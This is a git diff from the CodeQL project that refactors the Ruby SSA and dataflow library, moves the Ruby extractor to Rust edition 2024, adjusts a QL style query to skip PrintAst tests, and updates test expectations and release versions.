diff --git a/ql/ql/src/queries/style/QlRefInlineExpectations.ql b/ql/ql/src/queries/style/QlRefInlineExpectations.ql
index 870dd0f437c9..66c139f683f6 100644
--- a/ql/ql/src/queries/style/QlRefInlineExpectations.ql
+++ b/ql/ql/src/queries/style/QlRefInlineExpectations.ql
@@ -11,5 +11,7 @@ import ql
 import codeql_ql.ast.Yaml
 
 from QlRefDocument f
-where not f.usesInlineExpectations()
+where
+  not f.usesInlineExpectations() and
+  not f.isPrintAst()
 select f, "Query test does not use inline test expectations."
diff --git a/ql/ql/test/queries/style/QlRefInlineExpectations/PrintAst.expected b/ql/ql/test/queries/style/QlRefInlineExpectations/PrintAst.expected
new file mode 100644
index 000000000000..14a5f4f77197
--- /dev/null
+++ b/ql/ql/test/queries/style/QlRefInlineExpectations/PrintAst.expected
@@ -0,0 +1 @@
+|  |
diff --git a/ql/ql/test/queries/style/QlRefInlineExpectations/PrintAst.qlref b/ql/ql/test/queries/style/QlRefInlineExpectations/PrintAst.qlref
new file mode 100644
index 000000000000..b6fe7e93204a
--- /dev/null
+++ b/ql/ql/test/queries/style/QlRefInlineExpectations/PrintAst.qlref
@@ -0,0 +1 @@
+dummy/PrintAst.ql
diff --git a/ql/ql/test/queries/style/QlRefInlineExpectations/Test4.expected b/ql/ql/test/queries/style/QlRefInlineExpectations/Test4.expected
new file mode 100644
index 000000000000..14a5f4f77197
--- /dev/null
+++ b/ql/ql/test/queries/style/QlRefInlineExpectations/Test4.expected
@@ -0,0 +1 @@
+|  |
diff --git a/ql/ql/test/queries/style/QlRefInlineExpectations/Test4.qlref b/ql/ql/test/queries/style/QlRefInlineExpectations/Test4.qlref
new file mode 100644
index 000000000000..43dd92b5c777
--- /dev/null
+++ b/ql/ql/test/queries/style/QlRefInlineExpectations/Test4.qlref
@@ -0,0 +1 @@
+query: dummy/PrintAst.ql
diff --git a/ql/ql/test/queries/style/QlRefInlineExpectations/dummy/PrintAst.expected b/ql/ql/test/queries/style/QlRefInlineExpectations/dummy/PrintAst.expected
new file mode 100644
index 000000000000..14a5f4f77197
--- /dev/null
+++ b/ql/ql/test/queries/style/QlRefInlineExpectations/dummy/PrintAst.expected
@@ -0,0 +1 @@
+|  |
diff --git a/ql/ql/test/queries/style/QlRefInlineExpectations/dummy/PrintAst.ql b/ql/ql/test/queries/style/QlRefInlineExpectations/dummy/PrintAst.ql
new file mode 100644
index 000000000000..205315977441
--- /dev/null
+++ b/ql/ql/test/queries/style/QlRefInlineExpectations/dummy/PrintAst.ql
@@ -0,0 +1 @@
+select ""
diff --git a/ql/rust-toolchain.toml b/ql/rust-toolchain.toml
deleted file mode 100644
index 699a593039b0..000000000000
--- a/ql/rust-toolchain.toml
+++ /dev/null
@@ -1,7 +0,0 @@
-# This file specifies the Rust version used to develop and test the QL
-# extractor. It is set to the lowest version of Rust we want to support.
-
-[toolchain]
-channel = "1.74"
-profile = "minimal"
-components = [ "rustfmt" ]
\ No newline at end of file
diff --git a/ruby/extractor/Cargo.toml b/ruby/extractor/Cargo.toml
index 89daac1d27e4..8d3a94113fa2 100644
--- a/ruby/extractor/Cargo.toml
+++ b/ruby/extractor/Cargo.toml
@@ -3,7 +3,7 @@ name = "codeql-extractor-ruby"
 description = "CodeQL Ruby extractor"
 version = "0.1.0"
 authors = ["GitHub"]
-edition = "2021"
+edition = "2024"
 
 # When updating these dependencies, run `misc/bazel/3rdparty/update_cargo_deps.sh`
 [dependencies]
diff --git a/ruby/extractor/rust-toolchain.toml b/ruby/extractor/rust-toolchain.toml
deleted file mode 100644
index aa02ff3d0bda..000000000000
--- a/ruby/extractor/rust-toolchain.toml
+++ /dev/null
@@ -1,7 +0,0 @@
-# This file specifies the Rust version used to develop and test the Ruby
-# extractor. It is set to the lowest version of Rust we want to support.
-
-[toolchain]
-channel = "1.74"
-profile = "minimal"
-components = [ "rustfmt" ]
diff --git a/ruby/extractor/src/extractor.rs b/ruby/extractor/src/extractor.rs
index f1c272f17927..d42713122263 100644
--- a/ruby/extractor/src/extractor.rs
+++ b/ruby/extractor/src/extractor.rs
@@ -99,7 +99,7 @@ pub fn run(options: Options) -> std::io::Result<()> {
             let mut needs_conversion = false;
             let code_ranges;
             let mut trap_writer = trap::Writer::new();
-            if path.extension().map_or(false, |x| x == "erb") {
+            if path.extension().is_some_and(|x| x == "erb") {
                 tracing::info!("scanning: {}", path.display());
                 extractor::extract(
                     &erb,
@@ -371,59 +371,59 @@ fn test_scan_coding_comment() {
     assert_eq!(result, Some("utf-8".into()));
 
     let text = "#coding:utf-8";
-    let result = scan_coding_comment(&text.as_bytes());
+    let result = scan_coding_comment(text.as_bytes());
     assert_eq!(result, Some("utf-8".into()));
 
     let text = "# foo\n# encoding: utf-8";
-    let result = scan_coding_comment(&text.as_bytes());
+    let result = scan_coding_comment(text.as_bytes());
     assert_eq!(result, None);
 
     let text = "# encoding: latin1 encoding: utf-8";
-    let result = scan_coding_comment(&text.as_bytes());
+    let result = scan_coding_comment(text.as_bytes());
     assert_eq!(result, Some("latin1".into()));
 
     let text = "# encoding: nonsense";
-    let result = scan_coding_comment(&text.as_bytes());
+    let result = scan_coding_comment(text.as_bytes());
     assert_eq!(result, Some("nonsense".into()));
 
     let text = "# coding = utf-8";
-    let result = scan_coding_comment(&text.as_bytes());
+    let result = scan_coding_comment(text.as_bytes());
     assert_eq!(result, Some("utf-8".into()));
 
     let text = "# CODING = utf-8";
-    let result = scan_coding_comment(&text.as_bytes());
+    let result = scan_coding_comment(text.as_bytes());
     assert_eq!(result, Some("utf-8".into()));
 
     let text = "# CoDiNg = utf-8";
-    let result = scan_coding_comment(&text.as_bytes());
+    let result = scan_coding_comment(text.as_bytes());
     assert_eq!(result, Some("utf-8".into()));
 
     let text = "# blah blahblahcoding = utf-8";
-    let result = scan_coding_comment(&text.as_bytes());
+    let result = scan_coding_comment(text.as_bytes());
     assert_eq!(result, Some("utf-8".into()));
 
     // unicode BOM is ignored
     let text = "\u{FEFF}# encoding: utf-8";
-    let result = scan_coding_comment(&text.as_bytes());
+    let result = scan_coding_comment(text.as_bytes());
     assert_eq!(result, Some("utf-8".into()));
 
     let text = "\u{FEFF} # encoding: utf-8";
-    let result = scan_coding_comment(&text.as_bytes());
+    let result = scan_coding_comment(text.as_bytes());
     assert_eq!(result, Some("utf-8".into()));
 
     let text = "#! /usr/bin/env ruby\n # encoding: utf-8";
-    let result = scan_coding_comment(&text.as_bytes());
+    let result = scan_coding_comment(text.as_bytes());
     assert_eq!(result, Some("utf-8".into()));
 
     let text = "\u{FEFF}#! /usr/bin/env ruby\n # encoding: utf-8";
-    let result = scan_coding_comment(&text.as_bytes());
+    let result = scan_coding_comment(text.as_bytes());
     assert_eq!(result, Some("utf-8".into()));
 
     // A #! must be the first thing on a line, otherwise it's a normal comment
     let text = " #! /usr/bin/env ruby encoding = utf-8";
-    let result = scan_coding_comment(&text.as_bytes());
+    let result = scan_coding_comment(text.as_bytes());
     assert_eq!(result, Some("utf-8".into()));
     let text = " #! /usr/bin/env ruby \n # encoding = utf-8";
-    let result = scan_coding_comment(&text.as_bytes());
+    let result = scan_coding_comment(text.as_bytes());
     assert_eq!(result, None);
 }
diff --git a/ruby/ql/consistency-queries/SsaConsistency.ql b/ruby/ql/consistency-queries/SsaConsistency.ql
index 30503e6aa1fb..235eac263442 100644
--- a/ruby/ql/consistency-queries/SsaConsistency.ql
+++ b/ruby/ql/consistency-queries/SsaConsistency.ql
@@ -1,19 +1,3 @@
 import codeql.ruby.dataflow.SSA
 import codeql.ruby.dataflow.internal.SsaImpl
 import Consistency
-
-class MyRelevantDefinition extends RelevantDefinition, Ssa::Definition {
-  override predicate hasLocationInfo(
-    string filepath, int startline, int startcolumn, int endline, int endcolumn
-  ) {
-    this.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn)
-  }
-}
-
-class MyRelevantDefinitionExt extends RelevantDefinitionExt, DefinitionExt {
-  override predicate hasLocationInfo(
-    string filepath, int startline, int startcolumn, int endline, int endcolumn
-  ) {
-    this.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn)
-  }
-}
diff --git a/ruby/ql/lib/CHANGELOG.md b/ruby/ql/lib/CHANGELOG.md
index db75b3193671..5eabfa99ba6d 100644
--- a/ruby/ql/lib/CHANGELOG.md
+++ b/ruby/ql/lib/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 4.1.3
+
+No user-facing changes.
+
 ## 4.1.2
 
 No user-facing changes.
diff --git a/ruby/ql/lib/change-notes/released/4.1.3.md b/ruby/ql/lib/change-notes/released/4.1.3.md
new file mode 100644
index 000000000000..789b2913c77b
--- /dev/null
+++ b/ruby/ql/lib/change-notes/released/4.1.3.md
@@ -0,0 +1,3 @@
+## 4.1.3
+
+No user-facing changes.
diff --git a/ruby/ql/lib/codeql-pack.release.yml b/ruby/ql/lib/codeql-pack.release.yml
index 2567ae3f9cce..cdfb18533241 100644
--- a/ruby/ql/lib/codeql-pack.release.yml
+++ b/ruby/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 4.1.2
+lastReleaseVersion: 4.1.3
diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll
index 24ae284dbe84..2a91ee241911 100644
--- a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll
+++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll
@@ -74,10 +74,10 @@ CfgNodes::ExprCfgNode getAPostUpdateNodeForArg(Argument arg) {
 
 /** Gets the SSA definition node corresponding to parameter `p`. */
 pragma[nomagic]
-SsaImpl::DefinitionExt getParameterDef(NamedParameter p) {
+Ssa::Definition getParameterDef(NamedParameter p) {
   exists(BasicBlock bb, int i |
     bb.getNode(i).getAstNode() = p.getDefiningAccess() and
-    result.definesAt(_, bb, i, _)
+    result.definesAt(_, bb, i)
   )
 }
 
@@ -108,15 +108,22 @@ module SsaFlow {
     or
     result.(Impl::ExprPostUpdateNode).getExpr() = n.(PostUpdateNode).getPreUpdateNode().asExpr()
     or
-    n = toParameterNode(result.(Impl::ParameterNode).getParameter())
+    exists(SsaImpl::ParameterExt p |
+      n = toParameterNode(p) and
+      p.isInitializedBy(result.(Impl::WriteDefSourceNode).getDefinition())
+    )
+    or
+    result.(Impl::WriteDefSourceNode).getDefinition().(Ssa::WriteDefinition).assigns(n.asExpr())
   }
 
-  predicate localFlowStep(SsaImpl::DefinitionExt def, Node nodeFrom, Node nodeTo, boolean isUseStep) {
-    Impl::localFlowStep(def, asNode(nodeFrom), asNode(nodeTo), isUseStep)
+  predicate localFlowStep(
+    SsaImpl::SsaInput::SourceVariable v, Node nodeFrom, Node nodeTo, boolean isUseStep
+  ) {
+    Impl::localFlowStep(v, asNode(nodeFrom), asNode(nodeTo), isUseStep)
   }
 
-  predicate localMustFlowStep(SsaImpl::DefinitionExt def, Node nodeFrom, Node nodeTo) {
-    Impl::localMustFlowStep(def, asNode(nodeFrom), asNode(nodeTo))
+  predicate localMustFlowStep(Node nodeFrom, Node nodeTo) {
+    Impl::localMustFlowStep(_, asNode(nodeFrom), asNode(nodeTo))
   }
 }
 
@@ -175,7 +182,7 @@ module LocalFlow {
   }
 
   predicate localMustFlowStep(Node node1, Node node2) {
-    SsaFlow::localMustFlowStep(_, node1, node2)
+    SsaFlow::localMustFlowStep(node1, node2)
     or
     node1.asExpr() = node2.asExpr().(CfgNodes::ExprNodes::AssignExprCfgNode).getRhs()
     or
@@ -386,15 +393,15 @@ module VariableCapture {
     Flow::clearsContent(asClosureNode(node), c.getVariable())
   }
 
-  class CapturedSsaDefinitionExt extends SsaImpl::DefinitionExt {
-    CapturedSsaDefinitionExt() { this.getSourceVariable() instanceof CapturedVariable }
+  class CapturedSsaDefinition extends SsaImpl::Definition {
+    CapturedSsaDefinition() { this.getSourceVariable() instanceof CapturedVariable }
   }
 
   // From an assignment or implicit initialization of a captured variable to its flow-insensitive node
   private predicate flowInsensitiveWriteStep(
     SsaDefinitionNodeImpl node1, CapturedVariableNode node2, CapturedVariable v
   ) {
-    exists(CapturedSsaDefinitionExt def |
+    exists(CapturedSsaDefinition def |
       def = node1.getDefinition() and
       def.getSourceVariable() = v and
       (
@@ -410,7 +417,7 @@ module VariableCapture {
   private predicate flowInsensitiveReadStep(
     CapturedVariableNode node1, SsaDefinitionNodeImpl node2, CapturedVariable v
   ) {
-    exists(CapturedSsaDefinitionExt def |
+    exists(CapturedSsaDefinition def |
       node1.getVariable() = v and
       def = node2.getDefinition() and
       def.getSourceVariable() = v and
@@ -525,10 +532,10 @@ private module Cached {
     (
       LocalFlow::localFlowStepCommon(nodeFrom, nodeTo)
       or
-      exists(SsaImpl::DefinitionExt def, boolean isUseStep |
-        SsaFlow::localFlowStep(def, nodeFrom, nodeTo, isUseStep) and
+      exists(SsaImpl::SsaInput::SourceVariable v, boolean isUseStep |
+        SsaFlow::localFlowStep(v, nodeFrom, nodeTo, isUseStep) and
         // captured variables are handled by the shared `VariableCapture` library
-        not def instanceof VariableCapture::CapturedSsaDefinitionExt
+        not v instanceof VariableCapture::CapturedVariable
       |
         isUseStep = false
         or
@@ -770,7 +777,7 @@ class SsaNode extends NodeImpl, TSsaNode {
 class SsaDefinitionNodeImpl extends SsaNode {
   override SsaImpl::DataFlowIntegration::SsaDefinitionNode node;
 
-  SsaImpl::Definition getDefinition() { result = node.getDefinition() }
+  Ssa::Definition getDefinition() { result = node.getDefinition() }
 
   override predicate isHidden() {
     exists(SsaImpl::Definition def | def = this.getDefinition() |
@@ -2476,7 +2483,7 @@ module TypeInference {
       n = def or
       n.asExpr() =
         any(CfgNodes::ExprCfgNode read |
-          read = def.getDefinition().(SsaImpl::DefinitionExt).getARead() and
+          read = def.getDefinition().getARead() and
           not isTypeCheckedRead(read, _) // could in principle be checked against a new type
         )
     )
diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll
index b8757e489dcf..3c1da6f30138 100644
--- a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll
+++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll
@@ -75,12 +75,6 @@ class PhiNode = Impl::PhiNode;
 
 module Consistency = Impl::Consistency;
 
-module ExposedForTestingOnly {
-  predicate ssaDefReachesReadExt = Impl::ssaDefReachesReadExt/4;
-
-  predicate phiHasInputFromBlockExt = Impl::phiHasInputFromBlockExt/3;
-}
-
 /** Holds if `v` is uninitialized at index `i` in entry block `bb`. */
 predicate uninitializedWrite(Cfg::EntryBasicBlock bb, int i, LocalVariable v) {
   v.getDeclaringScope() = bb.getScope() and
@@ -224,7 +218,7 @@ private predicate hasVariableReadWithCapturedWrite(
 
 pragma[noinline]
 deprecated private predicate adjacentDefReadExt(
-  DefinitionExt def, SsaInput::BasicBlock bb1, int i1, SsaInput::BasicBlock bb2, int i2,
+  Definition def, SsaInput::BasicBlock bb1, int i1, SsaInput::BasicBlock bb2, int i2,
   SsaInput::SourceVariable v
 ) {
   Impl::adjacentDefReadExt(def, _, bb1, i1, bb2, i2) and
@@ -232,10 +226,10 @@ deprecated private predicate adjacentDefReadExt(
 }
 
 deprecated private predicate adjacentDefReachesReadExt(
-  DefinitionExt def, SsaInput::BasicBlock bb1, int i1, SsaInput::BasicBlock bb2, int i2
+  Definition def, SsaInput::BasicBlock bb1, int i1, SsaInput::BasicBlock bb2, int i2
 ) {
   exists(SsaInput::SourceVariable v | adjacentDefReadExt(def, bb1, i1, bb2, i2, v) |
-    def.definesAt(v, bb1, i1, _)
+    def.definesAt(v, bb1, i1)
     or
     SsaInput::variableRead(bb1, i1, v, true)
   )
@@ -248,7 +242,7 @@ deprecated private predicate adjacentDefReachesReadExt(
 }
 
 deprecated private predicate adjacentDefReachesUncertainReadExt(
-  DefinitionExt def, SsaInput::BasicBlock bb1, int i1, SsaInput::BasicBlock bb2, int i2
+  Definition def, SsaInput::BasicBlock bb1, int i1, SsaInput::BasicBlock bb2, int i2
 ) {
   adjacentDefReachesReadExt(def, bb1, i1, bb2, i2) and
   SsaInput::variableRead(bb2, i2, _, false)
@@ -257,7 +251,7 @@ deprecated private predicate adjacentDefReachesUncertainReadExt(
 /** Same as `lastRefRedef`, but skips uncertain reads. */
 pragma[nomagic]
 deprecated private predicate lastRefSkipUncertainReadsExt(
-  DefinitionExt def, SsaInput::BasicBlock bb, int i
+  Definition def, SsaInput::BasicBlock bb, int i
 ) {
   Impl::lastRef(def, bb, i) and
   not SsaInput::variableRead(bb, i, def.getSourceVariable(), false)
@@ -387,13 +381,15 @@ private module Cached {
     import DataFlowIntegrationImpl
 
     cached
-    predicate localFlowStep(DefinitionExt def, Node nodeFrom, Node nodeTo, boolean isUseStep) {
-      DataFlowIntegrationImpl::localFlowStep(def, nodeFrom, nodeTo, isUseStep)
+    predicate localFlowStep(
+      SsaInput::SourceVariable v, Node nodeFrom, Node nodeTo, boolean isUseStep
+    ) {
+      DataFlowIntegrationImpl::localFlowStep(v, nodeFrom, nodeTo, isUseStep)
     }
 
     cached
-    predicate localMustFlowStep(DefinitionExt def, Node nodeFrom, Node nodeTo) {
-      DataFlowIntegrationImpl::localMustFlowStep(def, nodeFrom, nodeTo)
+    predicate localMustFlowStep(SsaInput::SourceVariable v, Node nodeFrom, Node nodeTo) {
+      DataFlowIntegrationImpl::localMustFlowStep(v, nodeFrom, nodeTo)
     }
 
     signature predicate guardChecksSig(Cfg::CfgNodes::AstCfgNode g, Cfg::CfgNode e, boolean branch);
@@ -417,33 +413,6 @@ private module Cached {
 
 import Cached
 
-/**
- * An extended static single assignment (SSA) definition.
- *
- * This is either a normal SSA definition (`Definition`) or a
- * phi-read node (`PhiReadNode`).
- *
- * Only intended for internal use.
- */
-class DefinitionExt extends Impl::DefinitionExt {
-  VariableReadAccessCfgNode getARead() { result = getARead(this) }
-
-  override string toString() { result = this.(Ssa::Definition).toString() }
-
-  override Location getLocation() { result = this.(Ssa::Definition).getLocation() }
-}
-
-/**
- * A phi-read node.
- *
- * Only intended for internal use.
- */
-class PhiReadNode extends DefinitionExt, Impl::PhiReadNode {
-  override string toString() { result = "SSA phi read(" + this.getSourceVariable() + ")" }
-
-  override Location getLocation() { result = Impl::PhiReadNode.super.getLocation() }
-}
-
 class NormalParameter extends Parameter {
   NormalParameter() {
     this instanceof SimpleParameter or
@@ -457,10 +426,10 @@ class NormalParameter extends Parameter {
 
 /** Gets the SSA definition node corresponding to parameter `p`. */
 pragma[nomagic]
-DefinitionExt getParameterDef(NamedParameter p) {
+Definition getParameterDef(NamedParameter p) {
   exists(Cfg::BasicBlock bb, int i |
     bb.getNode(i).getAstNode() = p.getDefiningAccess() and
-    result.definesAt(_, bb, i, _)
+    result.definesAt(_, bb, i)
   )
 }
 
@@ -504,36 +473,35 @@ class ParameterExt extends TParameterExt {
 private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInputSig {
   private import codeql.ruby.controlflow.internal.Guards as Guards
 
-  class Parameter = ParameterExt;
-
   class Expr extends Cfg::CfgNodes::ExprCfgNode {
     predicate hasCfgNode(SsaInput::BasicBlock bb, int i) { this = bb.getNode(i) }
   }
 
   Expr getARead(Definition def) { result = Cached::getARead(def) }
 
-  predicate ssaDefAssigns(WriteDefinition def, Expr value) {
-    def.(Ssa::WriteDefinition).assigns(value)
+  predicate ssaDefHasSource(WriteDefinition def) {
+    any(ParameterExt p).isInitializedBy(def) or def.(Ssa::WriteDefinition).assigns(_)
   }
 
-  predicate ssaDefInitializesParam(WriteDefinition def, Parameter p) { p.isInitializedBy(def) }
-
   class Guard extends Cfg::CfgNodes::AstCfgNode {
-    predicate hasCfgNode(SsaInput::BasicBlock bb, int i) { this = bb.getNode(i) }
+    /**
+     * Holds if the control flow branching from `bb1` is dependent on this guard,
+     * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this
+     * guard to `branch`.
+     */
+    predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) {
+      exists(Cfg::SuccessorTypes::ConditionalSuccessor s |
+        this.getBasicBlock() = bb1 and
+        bb2 = bb1.getASuccessor(s) and
+        s.getValue() = branch
+      )
+    }
   }
 
   /** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */
-  predicate guardControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) {
+  predicate guardDirectlyControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) {
     Guards::guardControlsBlock(guard, bb, branch)
   }
-
-  /** Gets an immediate conditional successor of basic block `bb`, if any. */
-  SsaInput::BasicBlock getAConditionalBasicBlockSuccessor(SsaInput::BasicBlock bb, boolean branch) {
-    exists(Cfg::SuccessorTypes::ConditionalSuccessor s |
-      result = bb.getASuccessor(s) and
-      s.getValue() = branch
-    )
-  }
 }
 
 private module DataFlowIntegrationImpl = Impl::DataFlowIntegration<DataFlowIntegrationInput>;
diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml
index bc4f17aef0cb..92f9db23dfdc 100644
--- a/ruby/ql/lib/qlpack.yml
+++ b/ruby/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/ruby-all
-version: 4.1.2
+version: 4.1.3
 groups: ruby
 extractor: ruby
 dbscheme: ruby.dbscheme
diff --git a/ruby/ql/src/CHANGELOG.md b/ruby/ql/src/CHANGELOG.md
index a07ad59185d5..7877bdb6a79c 100644
--- a/ruby/ql/src/CHANGELOG.md
+++ b/ruby/ql/src/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.1.15
+
+No user-facing changes.
+
 ## 1.1.14
 
 No user-facing changes.
diff --git a/ruby/ql/src/change-notes/released/1.1.15.md b/ruby/ql/src/change-notes/released/1.1.15.md
new file mode 100644
index 000000000000..48d8c05d25f8
--- /dev/null
+++ b/ruby/ql/src/change-notes/released/1.1.15.md
@@ -0,0 +1,3 @@
+## 1.1.15
+
+No user-facing changes.
diff --git a/ruby/ql/src/codeql-pack.release.yml b/ruby/ql/src/codeql-pack.release.yml
index 29ea4a8cc19b..9ec2e68cbd32 100644
--- a/ruby/ql/src/codeql-pack.release.yml
+++ b/ruby/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.1.14
+lastReleaseVersion: 1.1.15
diff --git a/ruby/ql/src/codeql-suites/ruby-ccr.qls b/ruby/ql/src/codeql-suites/ruby-code-quality.qls
similarity index 100%
rename from ruby/ql/src/codeql-suites/ruby-ccr.qls
rename to ruby/ql/src/codeql-suites/ruby-code-quality.qls
diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml
index 824ba4d2c945..b38e7eb7fda9 100644
--- a/ruby/ql/src/qlpack.yml
+++ b/ruby/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/ruby-queries
-version: 1.1.14
+version: 1.1.15
 groups:
   - ruby
   - queries
diff --git a/ruby/ql/test/library-tests/dataflow/barrier-guards/barrier-guards.expected b/ruby/ql/test/library-tests/dataflow/barrier-guards/barrier-guards.expected
index 3e838551f81d..0da6e95f6edf 100644
--- a/ruby/ql/test/library-tests/dataflow/barrier-guards/barrier-guards.expected
+++ b/ruby/ql/test/library-tests/dataflow/barrier-guards/barrier-guards.expected
@@ -1,88 +1,50 @@
 testFailures
 newStyleBarrierGuards
-| barrier-guards.rb:3:16:4:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:4:5:4:7 | foo |
-| barrier-guards.rb:9:25:10:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:10:5:10:7 | foo |
-| barrier-guards.rb:17:1:18:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:18:5:18:7 | foo |
-| barrier-guards.rb:23:1:24:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:24:5:24:7 | foo |
-| barrier-guards.rb:27:20:28:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:28:5:28:7 | foo |
-| barrier-guards.rb:37:21:38:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:38:5:38:7 | foo |
-| barrier-guards.rb:43:16:46:5 | [input] SSA phi read(foo) |
 | barrier-guards.rb:45:9:45:11 | foo |
-| barrier-guards.rb:70:22:71:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:71:5:71:7 | foo |
-| barrier-guards.rb:82:26:83:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:83:5:83:7 | foo |
-| barrier-guards.rb:90:1:91:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:91:5:91:7 | foo |
-| barrier-guards.rb:125:11:126:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:126:5:126:7 | foo |
-| barrier-guards.rb:132:11:133:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:133:5:133:7 | foo |
-| barrier-guards.rb:134:11:135:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:135:5:135:7 | foo |
-| barrier-guards.rb:139:18:140:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:140:5:140:7 | foo |
-| barrier-guards.rb:141:19:142:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:142:5:142:7 | foo |
-| barrier-guards.rb:148:21:149:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:149:5:149:7 | foo |
-| barrier-guards.rb:153:18:154:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:154:5:154:7 | foo |
-| barrier-guards.rb:158:10:159:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:159:5:159:7 | foo |
-| barrier-guards.rb:163:11:164:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:164:5:164:7 | foo |
 | barrier-guards.rb:191:4:191:15 | [input] SSA phi read(foo) |
 | barrier-guards.rb:191:20:191:31 | [input] SSA phi read(foo) |
-| barrier-guards.rb:191:32:192:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:192:5:192:7 | foo |
 | barrier-guards.rb:195:4:195:15 | [input] SSA phi read(foo) |
 | barrier-guards.rb:195:4:195:31 | [input] SSA phi read(foo) |
 | barrier-guards.rb:195:20:195:31 | [input] SSA phi read(foo) |
 | barrier-guards.rb:195:36:195:47 | [input] SSA phi read(foo) |
-| barrier-guards.rb:195:48:196:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:196:5:196:7 | foo |
 | barrier-guards.rb:199:4:199:15 | [input] SSA phi read(foo) |
 | barrier-guards.rb:199:4:199:31 | [input] SSA phi read(foo) |
 | barrier-guards.rb:199:20:199:31 | [input] SSA phi read(foo) |
-| barrier-guards.rb:203:4:203:15 | [input] SSA phi read(foo) |
 | barrier-guards.rb:203:36:203:47 | [input] SSA phi read(foo) |
-| barrier-guards.rb:207:21:207:21 | [input] SSA phi read(foo) |
-| barrier-guards.rb:207:22:208:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:208:5:208:7 | foo |
-| barrier-guards.rb:211:22:212:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:212:5:212:7 | foo |
-| barrier-guards.rb:215:28:216:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:216:5:216:7 | foo |
 | barrier-guards.rb:219:21:219:23 | foo |
 | barrier-guards.rb:219:21:219:32 | [input] SSA phi read(foo) |
-| barrier-guards.rb:219:95:220:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:220:5:220:7 | foo |
-| barrier-guards.rb:227:21:227:21 | [input] SSA phi read(foo) |
-| barrier-guards.rb:227:22:228:7 | [input] SSA phi read(foo) |
-| barrier-guards.rb:232:18:233:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:233:5:233:7 | foo |
-| barrier-guards.rb:237:19:237:38 | [input] SSA phi read(foo) |
 | barrier-guards.rb:237:24:237:26 | foo |
-| barrier-guards.rb:243:9:244:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:244:5:244:7 | foo |
-| barrier-guards.rb:259:17:260:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:260:5:260:7 | foo |
-| barrier-guards.rb:264:17:265:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:265:5:265:7 | foo |
-| barrier-guards.rb:272:17:272:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:272:17:272:19 | foo |
-| barrier-guards.rb:275:20:276:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:276:5:276:7 | foo |
-| barrier-guards.rb:281:21:282:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:282:5:282:7 | foo |
-| barrier-guards.rb:291:7:292:19 | [input] SSA phi read(foo) |
 | barrier-guards.rb:292:5:292:7 | foo |
 | barrier_flow.rb:19:14:19:14 | x |
 | barrier_flow.rb:32:10:32:10 | x |
diff --git a/ruby/ql/test/library-tests/dataflow/local/DataflowStep.expected b/ruby/ql/test/library-tests/dataflow/local/DataflowStep.expected
index f005299c0b70..488f51a3d51c 100644
--- a/ruby/ql/test/library-tests/dataflow/local/DataflowStep.expected
+++ b/ruby/ql/test/library-tests/dataflow/local/DataflowStep.expected
@@ -103,7 +103,6 @@
 | UseUseExplosion.rb:19:9:19:9 | x | UseUseExplosion.rb:20:3695:20:3695 | x |
 | UseUseExplosion.rb:19:13:19:13 | 0 | UseUseExplosion.rb:19:9:19:9 | x |
 | UseUseExplosion.rb:19:13:19:13 | 0 | UseUseExplosion.rb:19:9:19:13 | ... = ... |
-| UseUseExplosion.rb:20:9:20:3700 | SSA phi read(self) | UseUseExplosion.rb:21:13:21:17 | self |
